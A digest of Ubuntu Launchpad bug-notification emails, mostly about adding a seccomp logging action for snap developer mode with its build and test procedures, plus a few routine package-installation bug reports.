   + contains seccomp logging patches
   + installed from zesty-proposed

The libseccomp SRU testing was successful and followed what's documented
in the [libseccomp Test Case] section of this bug description.

** Tags removed: verification-needed-zesty
** Tags added: verification-done-zesty

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  implement 'complain mode' in seccomp for developer mode with snaps

Status in Snappy:
  In Progress
Status in libseccomp package in Ubuntu:
  Fix Released
Status in linux package in Ubuntu:
  Fix Released
Status in libseccomp source package in Xenial:
  In Progress
Status in linux source package in Xenial:
  Fix Committed
Status in libseccomp source package in Zesty:
  Fix Committed
Status in linux source package in Zesty:
  Fix Committed

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

  [Impact]

  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).

  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds
  a number of new symbols and probably isn't appropriate to backport
  until upstream has acked the pull request. However, only a small part
  of that larger pull request is needed by snapd and that change can be
  safely backported since the only added symbol, the SCMP_ACT_LOG macro,
  must match the SECCOMP_RET_LOG macro that has already been approved
  and merged in the upstream Linux kernel.

  [libseccomp Test Case]

  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised
  to help catch any regressions. Note that on Artful, there's an
  existing test failure (20-live-basic_die%%002-1):

  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ cd libseccomp-*
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)

  All tests should pass on zesty (12 tests) and xenial (10 tests). On artful, 
you'll see one pre-existing failure:
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  

  

  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:

  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test

  With a kernel that contains the logging patches and an updated
  libseccomp, the exit code should be 0 and you should have an entry in
  the system log that looks like this:

  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test"
  exe="/home/tyhicks/lp1567597-test" sig=0 arch=c03e syscall=2
  compat=0 ip=0x7f547352c5c0 code=0x7ffc

  If you have an updated libseccomp with an old kernel, you'll see that
  seccomp_init() fails due to the added compatibility check inside of
  libseccomp determines that the kernel doesn't have proper support for
  the new log action:

  $ ./lp1567597-test
  ERROR: seccomp_init: Invalid 

[Touch-packages] [Bug 1722053] Re: few minutes after new start of pc every function slows down, online as well as offline / package linux-image-extra-4.4.0-64-generic 4.4.0-64.85 failed to install/upg

[Tyler Hicks]

** Information type changed from Private Security to Public

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1722053

Title:
  few minutes after new start of pc every function slows down, online as
  well as offline   /  package linux-image-extra-4.4.0-64-generic
  4.4.0-64.85 failed to install/upgrade: run-parts:
  /etc/kernel/postinst.d/initramfs-tools exited with return code 1

Status in initramfs-tools package in Ubuntu:
  New

Bug description:
  1) Release:  UBUNTU 16.04.3 LTS , release: 16.04

  2) Version of the package:  
  N: Datei "mono" in Verzeichnis "etc/apt/sources.list.d" wird ignoriert, da 
sie keine Dateinamen-Erweiterung hat. 
  N: Paket pkgname kann nicht gefunden werden.

  3) My expectation: Normal speed of all Ubuntu functions.

  4) Instead: Few minutes after every new start of pc every function
  slows down, online as  well as offline.

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: linux-image-extra-4.4.0-64-generic 4.4.0-64.85
  ProcVersionSignature: Ubuntu 4.4.0-96.119-generic 4.4.83
  Uname: Linux 4.4.0-96-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.10
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  swami  1424 F pulseaudio
  Date: Sat Oct  7 23:21:36 2017
  ErrorMessage: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with 
return code 1
  HibernationDevice: RESUME=UUID=50f940a4-4706-4749-ac2f-82774f6126fc
  InstallationDate: Installed on 2017-01-24 (256 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  MachineType: Dell Inc. Latitude E6500
  PccardctlIdent:
   Socket 0:
 no product info available
  PccardctlStatus:
   Socket 0:
 no card
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-96-generic 
root=UUID=3f09c27e-7004-45ce-b32b-474216b0c612 ro quiet splash vt.handoff=7
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions: grub-pc 2.02~beta2-36ubuntu3.12
  SourcePackage: initramfs-tools
  Title: package linux-image-extra-4.4.0-64-generic 4.4.0-64.85 failed to 
install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with 
return code 1
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 12/18/2008
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A11
  dmi.board.vendor: Dell Inc.
  dmi.chassis.type: 8
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvrA11:bd12/18/2008:svnDellInc.:pnLatitudeE6500:pvr:rvnDellInc.:rn:rvr:cvnDellInc.:ct8:cvr:
  dmi.product.name: Latitude E6500
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1722053/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1721953] Re: my first bug report...

[Tyler Hicks]

Hi Jan - congrats on creating your first bug report. We appreciate all
feedback and look forward to receiving more from you in the future.

As for this specific bug report, I suspect that it is an issue with the
package in the specific PPA that you're trying to install from. Since
PPAs are maintained by individuals and do not directly correspond to
packages in the Ubuntu archive, you'll need to contact the owner of the
PPA directly. If you let them know what error you're seeing when
attempting to install the problematic package, I'm sure they'll be able
to help you out and/or provide an updated package in the PPA. Good luck!

** Information type changed from Private Security to Public

** Changed in: xorg (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1721953

Title:
  my first bug report...

Status in xorg package in Ubuntu:
  Invalid

Bug description:
  Couldn'T install a PPA-package

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: xorg 1:7.7+13ubuntu3
  ProcVersionSignature: Ubuntu 4.10.0-35.39~16.04.1-generic 4.10.17
  Uname: Linux 4.10.0-35-generic x86_64
  .tmp.unity_support_test.0:
   
  ApportVersion: 2.20.1-0ubuntu2.10
  Architecture: amd64
  CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
  CompositorRunning: compiz
  CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
  CompositorUnredirectFSW: true
  Date: Sat Oct  7 13:47:03 2017
  DistUpgraded: Fresh install
  DistroCodename: xenial
  DistroVariant: ubuntu
  ExtraDebuggingInterest: Yes
  GraphicsCard:
   Intel Corporation Core Processor Integrated Graphics Controller [8086:0046] 
(rev 02) (prog-if 00 [VGA controller])
 Subsystem: Acer Incorporated [ALI] Core Processor Integrated Graphics 
Controller [1025:040e]
  InstallationDate: Installed on 2017-09-24 (12 days ago)
  InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 
(20170801)
  MachineType: Acer Aspire 1830T
  ProcEnviron:
   LANGUAGE=de_DE
   PATH=(custom, no user)
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.10.0-35-generic 
root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7
  SourcePackage: xorg
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/06/2011
  dmi.bios.vendor: INSYDE
  dmi.bios.version: V1.24
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: JV10_CS
  dmi.board.vendor: Intel Corp.
  dmi.board.version: Base Board Version
  dmi.chassis.type: 1
  dmi.chassis.vendor: Chassis Manufacturer
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnINSYDE:bvrV1.24:bd05/06/2011:svnAcer:pnAspire1830T:pvrV1.24:rvnIntelCorp.:rnJV10_CS:rvrBaseBoardVersion:cvnChassisManufacturer:ct1:cvrChassisVersion:
  dmi.product.name: Aspire 1830T
  dmi.product.version: V1.24
  dmi.sys.vendor: Acer
  version.compiz: compiz 1:0.9.12.2+16.04.20160823-0ubuntu1
  version.ia32-libs: ia32-libs N/A
  version.libdrm2: libdrm2 2.4.76-1~ubuntu16.04.1
  version.libgl1-mesa-dri: libgl1-mesa-dri 17.0.7-0ubuntu0.16.04.1
  version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A
  version.libgl1-mesa-glx: libgl1-mesa-glx 17.0.7-0ubuntu0.16.04.1
  version.xserver-xorg-core: xserver-xorg-core N/A
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
  version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A
  version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A
  xserver.bootTime: Sat Oct  7 13:36:37 2017
  xserver.configfile: default
  xserver.errors:
   
  xserver.logfile: /var/log/Xorg.0.log
  xserver.version: 2:1.19.3-1ubuntu1~16.04.2
  xserver.video_driver: modeset

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1721953/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1722700] Re: package libpcre3:i386 2:8.39-3 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration

[Tyler Hicks]

** Information type changed from Private Security to Public

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pcre3 in Ubuntu.
https://bugs.launchpad.net/bugs/1722700

Title:
  package libpcre3:i386 2:8.39-3 failed to install/upgrade: package is
  in a very bad inconsistent state; you should  reinstall it before
  attempting configuration

Status in pcre3 package in Ubuntu:
  New

Bug description:
  I don't know why this happend?

  ProblemType: Package
  DistroRelease: Ubuntu 17.04
  Package: libpcre3:i386 2:8.39-3
  ProcVersionSignature: Ubuntu 4.10.0-35.39-generic 4.10.17
  Uname: Linux 4.10.0-35-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4.5
  Architecture: amd64
  Date: Mon Oct  2 17:04:02 2017
  Dependencies:
   gcc-6-base 6.3.0-12ubuntu2
   libc6 2.24-9ubuntu2.2
   libgcc1 1:6.3.0-12ubuntu2
   multiarch-support 2.24-9ubuntu2.2
  DuplicateSignature:
   package:libpcre3:i386:2:8.39-3
   Unpacking mongodb-clients (1:3.2.11-2) ...
   dpkg: error processing package libpcre3:i386 (--configure):
package is in a very bad inconsistent state; you should
  ErrorMessage: package is in a very bad inconsistent state; you should  
reinstall it before attempting configuration
  InstallationDate: Installed on 2017-03-25 (199 days ago)
  InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2)
  PackageArchitecture: i386
  RelatedPackageVersions:
   dpkg 1.18.10ubuntu2
   apt  1.4.6~17.04.1
  SourcePackage: pcre3
  Title: package libpcre3:i386 2:8.39-3 failed to install/upgrade: package is 
in a very bad inconsistent state; you should  reinstall it before attempting 
configuration
  UpgradeStatus: Upgraded to zesty on 2017-05-12 (151 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pcre3/+bug/1722700/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

Here's the kernel test case that I mentioned in the bug description.

** Attachment added: "lp1567597-kernel-test.c"
   
https://bugs.launchpad.net/snappy/+bug/1567597/+attachment/4967858/+files/lp1567597-kernel-test.c

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  implement 'complain mode' in seccomp for developer mode with snaps

Status in Snappy:
  In Progress
Status in libseccomp package in Ubuntu:
  Fix Released
Status in linux package in Ubuntu:
  Fix Released
Status in libseccomp source package in Xenial:
  In Progress
Status in linux source package in Xenial:
  Fix Committed
Status in libseccomp source package in Zesty:
  In Progress
Status in linux source package in Zesty:
  Fix Committed

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

  [Impact]

  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).

  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds
  a number of new symbols and probably isn't appropriate to backport
  until upstream has acked the pull request. However, only a small part
  of that larger pull request is needed by snapd and that change can be
  safely backported since the only added symbol, the SCMP_ACT_LOG macro,
  must match the SECCOMP_RET_LOG macro that has already been approved
  and merged in the upstream Linux kernel.

  [libseccomp Test Case]

  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised
  to help catch any regressions. Note that on Artful, there's an
  existing test failure (20-live-basic_die%%002-1):

  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ cd libseccomp-*
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)

  All tests should pass on zesty (12 tests) and xenial (10 tests). On artful, 
you'll see one pre-existing failure:
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  

  

  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:

  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test

  With a kernel that contains the logging patches and an updated
  libseccomp, the exit code should be 0 and you should have an entry in
  the system log that looks like this:

  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test"
  exe="/home/tyhicks/lp1567597-test" sig=0 arch=c03e syscall=2
  compat=0 ip=0x7f547352c5c0 code=0x7ffc

  If you have an updated libseccomp with an old kernel, you'll see that
  seccomp_init() fails due to the added compatibility check inside of
  libseccomp determines that the kernel doesn't have proper support for
  the new log action:

  $ ./lp1567597-test
  ERROR: seccomp_init: Invalid argument

  [Linux Kernel Test Case]

  All of the libseccomp test cases apply here.

  

  Running the seccomp kernel selftests is also a great to exercise
  seccomp and the kernel patch set proposed for the SRU includes
  additional seccomp selftests. To build, enter into the root of the
  kernel source tree and build the seccomp test binary:

  $ make -C 

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

The Xenial and Zesty kernel patch sets have been sent to the kernel
team:

https://lists.ubuntu.com/archives/kernel-team/2017-October/087448.html
https://lists.ubuntu.com/archives/kernel-team/2017-October/087456.html

I've uploaded a libseccomp SRU to zesty-proposed. The Xenial SRU is
going to be trickier. It may require bring Zesty's libseccomp back to
Xenial due to the current version of libseccomp in Xenial not fully
supporting the seccomp(2) system call. That system call is needed to
verify kernel support of the SECCOMP_RET_LOG action that's needed for
devmode.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  implement 'complain mode' in seccomp for developer mode with snaps

Status in Snappy:
  In Progress
Status in libseccomp package in Ubuntu:
  Fix Released
Status in linux package in Ubuntu:
  Fix Released
Status in libseccomp source package in Xenial:
  In Progress
Status in linux source package in Xenial:
  In Progress
Status in libseccomp source package in Zesty:
  In Progress
Status in linux source package in Zesty:
  In Progress

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

  [Impact]

  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).

  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds
  a number of new symbols and probably isn't appropriate to backport
  until upstream has acked the pull request. However, only a small part
  of that larger pull request is needed by snapd and that change can be
  safely backported since the only added symbol, the SCMP_ACT_LOG macro,
  must match the SECCOMP_RET_LOG macro that has already been approved
  and merged in the upstream Linux kernel.

  [libseccomp Test Case]

  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised
  to help catch any regressions. Note that on Artful, there's an
  existing test failure (20-live-basic_die%%002-1):

  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ cd libseccomp-*
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)

  All tests should pass on zesty (12 tests) and xenial (10 tests). On artful, 
you'll see one pre-existing failure:
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  

  

  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:

  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test

  With a kernel that contains the logging patches and an updated
  libseccomp, the exit code should be 0 and you should have an entry in
  the system log that looks like this:

  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test"
  exe="/home/tyhicks/lp1567597-test" sig=0 arch=c03e syscall=2
  compat=0 ip=0x7f547352c5c0 code=0x7ffc

  If you have an updated libseccomp with an old kernel, you'll see that
  seccomp_init() fails due to the added compatibility check inside of
  libseccomp determines that the kernel doesn't have proper support for
  the new log action:

  $ ./lp1567597-test
  ERROR: seccomp_init: Invalid argument

  [Linux Kernel Test Case]

  All 

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

** Description changed:

  A requirement for snappy is that a snap may be placed in developer mode
  which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make developing
  on snappy easier.
  
  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while we
  can set complain mode to permit all calls, they are not logged at this
  time. I've discussed this with upstream and we are working together on
  the approach. This may require a kernel patch and an update to
  libseccomp, to filing this bug for now as a placeholder and we'll add
  other tasks as necessary.
  
  UPDATE: ubuntu-core-launcher now supports the '@complain' directive that
  is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).
  
  [Impact]
  
  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).
  
  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds a
  number of new symbols and probably isn't appropriate to backport until
  upstream has acked the pull request. However, only a small part of that
  larger pull request is needed by snapd and that change can be safely
  backported since the only added symbol, the SCMP_ACT_LOG macro, must
  match the SECCOMP_RET_LOG macro that has already been approved and
  merged in the upstream Linux kernel.
  
  [libseccomp Test Case]
  
  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised to
  help catch any regressions. Note that on Artful, there's an existing
  test failure (20-live-basic_die%%002-1):
  
  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ cd libseccomp-*
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)
  
  All tests should pass on zesty (12 tests) and xenial (10 tests). On artful, 
you'll see one pre-existing failure:
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  
  
  
  
  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:
  
  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test
  
  With a kernel that contains the logging patches and an updated
  libseccomp, the exit code should be 0 and you should have an entry in
  the system log that looks like this:
  
  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test" exe="/home/tyhicks/lp1567597-test"
  sig=0 arch=c03e syscall=2 compat=0 ip=0x7f547352c5c0 code=0x7ffc
  
  If you have an updated libseccomp with an old kernel, you'll see that
  seccomp_init() fails due to the added compatibility check inside of
  libseccomp determines that the kernel doesn't have proper support for
  the new log action:
  
  $ ./lp1567597-test
  ERROR: seccomp_init: Invalid argument
  
  [Linux Kernel Test Case]
  
  All of the libseccomp test cases apply here.
  
  
  
  Running the seccomp kernel selftests is also a great to exercise seccomp
  and the kernel patch set proposed for the SRU includes additional
  seccomp selftests. To build, enter into the root of the kernel source
  tree and build the seccomp test binary:
  
  $ make -C tools/testing/selftests TARGETS=seccomp
  
  Now you can execute tools/testing/selftests/seccomp/seccomp_bpf or even
  copy it to a test machine and run it there. On Xenial, 54/54 tests
  should pass and 58/58 should pass on Zesty.
  
+ 
+ 
+ Now we can run a single test to verify that SECCOMP_RET_LOG is logged
+ when the seccomp BPF evaluates to that action. First, verify that "log"
+ is listed in the actions_logged sysctl:
+ 
+ $ cat /proc/sys/kernel/seccomp/actions_logged
+ kill trap errno trace log
+ 
+ Now, build and run the test program:
+ 
+ $ gcc -o lp1567597-kernel-test lp1567597-kernel-test.c
+ $ ./1567597-kernel-test
+ SUCCESS!
+ 
+ It should have generated a message like this in /var/log/syslog:
+ 
+ audit: type=1326 audit(1507263417.752:60): auid=1000 uid=1000 

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

** Description changed:

  A requirement for snappy is that a snap may be placed in developer mode
  which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make developing
  on snappy easier.
  
  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while we
  can set complain mode to permit all calls, they are not logged at this
  time. I've discussed this with upstream and we are working together on
  the approach. This may require a kernel patch and an update to
  libseccomp, to filing this bug for now as a placeholder and we'll add
  other tasks as necessary.
  
  UPDATE: ubuntu-core-launcher now supports the '@complain' directive that
  is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).
  
  [Impact]
  
  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).
  
  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds a
  number of new symbols and probably isn't appropriate to backport until
  upstream has acked the pull request. However, only a small part of that
  larger pull request is needed by snapd and that change can be safely
  backported since the only added symbol, the SCMP_ACT_LOG macro, must
  match the SECCOMP_RET_LOG macro that has already been approved and
  merged in the upstream Linux kernel.
  
- [Test Case]
+ [libseccomp Test Case]
  
  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised to
  help catch any regressions. Note that on Artful, there's an existing
  test failure (20-live-basic_die%%002-1):
  
  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ cd libseccomp-*
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)
  
  All tests should pass on zesty (12 tests) and xenial (10 tests). On artful, 
you'll see one pre-existing failure:
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  
  
+ 
+ 
  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:
  
  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test
  
  With a kernel that contains the logging patches and an updated
  libseccomp, the exit code should be 0 and you should have an entry in
  the system log that looks like this:
  
  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test" exe="/home/tyhicks/lp1567597-test"
  sig=0 arch=c03e syscall=2 compat=0 ip=0x7f547352c5c0 code=0x7ffc
  
  If you have an updated libseccomp with an old kernel, you'll see that
  seccomp_init() fails due to the added compatibility check inside of
  libseccomp determines that the kernel doesn't have proper support for
  the new log action:
  
  $ ./lp1567597-test
  ERROR: seccomp_init: Invalid argument
  
+ [Linux Kernel Test Case]
+ 
+ All of the libseccomp test cases apply here.
+ 
+ 
+ 
+ Running the seccomp kernel selftests is also a great to exercise seccomp
+ and the kernel patch set proposed for the SRU includes additional
+ seccomp selftests. To build, enter into the root of the kernel source
+ tree and build the seccomp test binary:
+ 
+ $ make -C tools/testing/selftests TARGETS=seccomp
+ 
+ Now you can execute tools/testing/selftests/seccomp/seccomp_bpf or even
+ copy it to a test machine and run it there. On Xenial, 54/54 tests
+ should pass and 58/58 should pass on Zesty.
+ 
  [Regression Potential]
  
  Relatively small since the core logic is in the kernel and we're only
  exposing the new action through libseccomp. The changes include smarts
  to query the kernel to see if the action is available in the kernel.
  Calling applications will not be able to use the action on older kernels
  that don't support it.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  implement 'complain mode' 

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

** Changed in: snappy
   Status: Confirmed => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  implement 'complain mode' in seccomp for developer mode with snaps

Status in Snappy:
  In Progress
Status in libseccomp package in Ubuntu:
  Fix Released
Status in linux package in Ubuntu:
  Fix Released
Status in libseccomp source package in Xenial:
  In Progress
Status in linux source package in Xenial:
  In Progress
Status in libseccomp source package in Zesty:
  In Progress
